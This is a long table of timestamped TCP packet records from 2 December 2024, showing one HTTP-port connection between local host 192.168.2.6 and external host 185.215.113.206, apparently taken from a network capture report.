Dec 2, 2024 07:37:53.781774044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.781817913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.782665968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.782850027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.782881975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.782943010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.782959938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.783010006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.783828020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.783907890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.783927917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.783972025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.784692049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.784746885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.784776926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.784836054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.785568953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.785609007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.785618067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.785655022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.786497116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.786545992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.848352909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.848368883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.848472118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.848511934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.848570108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.848622084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.848681927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.849431992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.849559069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.849564075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.849606037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.850323915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.850387096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.850445986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.850500107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.851236105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.851283073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.851330996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.851378918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.852138996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.852191925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.852266073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.852317095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.853049994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.853106022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.853142023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.853218079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.853965044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.853996038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.854012012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.854034901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.854990005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.855034113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.855093956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.855143070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.855767012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.855834007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.855859041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.855906963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.856731892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.856772900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.856812000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.856812000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.857557058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.857620001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.857646942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.857702971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.858467102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.858531952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.858566999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.858644962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.859355927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.859419107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.859458923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.859513998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.860284090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.860346079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.860378027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.860429049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.861156940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.861253977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.861262083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.861310959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.862066031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.862160921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.862194061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.862245083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.862977028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.863080978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.863106012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.863135099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.863872051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.863935947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.863961935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.864037991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.864784956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.864847898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.864864111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.864912033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.865660906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.865710974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.865763903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.865819931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.866581917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.866667986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.866682053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.866724014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.867503881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.867559910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.867589951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.867630959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.868415117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.868496895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.868535995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.868619919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.869281054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.869363070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.869370937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.869425058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.870187044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.870259047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.870285034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.870340109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.871098995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.871172905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.871176004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.871226072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.871987104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.872031927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.872059107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.872073889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.872895002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.872972012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.872976065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.873020887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.873805046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.873864889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.873905897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.873946905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.874700069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.874756098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.874799013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.874871969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.875612020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.875684023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.875714064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.875766993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.876477003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.876543045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.876570940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.876643896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.877403021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.877444983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.877509117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.877562046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.878329992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.878403902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.878434896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.878490925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.879244089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.879302025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.879331112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.879384041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.880119085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.880182028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.880218983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.880280972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.880983114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.881063938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.881108046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.881175041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.881911039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.881964922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.882031918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.882107973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.882858992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.882931948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.882937908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.882989883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.883740902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.883796930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.883826017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.883917093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.884620905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.884691000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.884723902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.884764910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.885519028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.885639906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.885696888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.885716915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.886445999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.886502981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.886543989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.886595964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.887347937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.887406111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.887439966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.887485981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.888231039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.888298035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.888322115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.888401985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.889127016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.889178991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.889197111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.889238119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.982714891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.982754946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.982786894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.982815027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.983133078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.983167887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.983221054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.983262062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.984036922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.984088898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.984132051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.984169960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.984927893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.985002041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.985034943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.985099077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.985853910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.985964060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.985991955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.986015081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.986742020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.986802101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.986825943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.986870050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.987693071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.987777948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:53.987801075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:53.987860918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.049607038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.049674034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.049674034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.049721003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.050123930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.050138950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.050173998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.050189972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.050760984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.050842047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.050925016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.051013947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.051681995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.051732063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.051769972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.051814079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.052592039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.052617073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.052655935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.052655935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.053529978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.053579092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.053620100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.053766966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.054414034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.054461956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.054471970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.054511070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.055269957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.055310965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.055444956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.055495024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.056175947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.056252003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.056278944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.056324959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.057055950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.057111979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.057182074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.057245016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.057987928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.058033943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.058036089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.058079004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.058876038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.058960915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.059045076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.059089899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.059812069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.059864998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.059952021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.059994936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.060736895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.060750008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.060797930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.061588049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.061640024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.061717987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.061800957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.062474966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.062530041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.062585115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.062644958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.063396931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.063463926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.063496113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.063549995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.064285994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.064333916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.064351082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.064383030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.065210104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.065306902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.065314054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.065375090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.066080093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.066184998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.066201925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.066245079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.067025900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.067104101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.067142963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.067225933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.067919970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.067977905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.067998886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.068041086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.068881989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.068954945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.068962097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.069011927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.069717884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.069781065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.069811106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.069848061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.070606947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.070671082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.070715904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.070777893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.071494102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.071542025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:54.071607113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:54.071676970 CET	49823	80	192.168.2.6	185.215.113.206
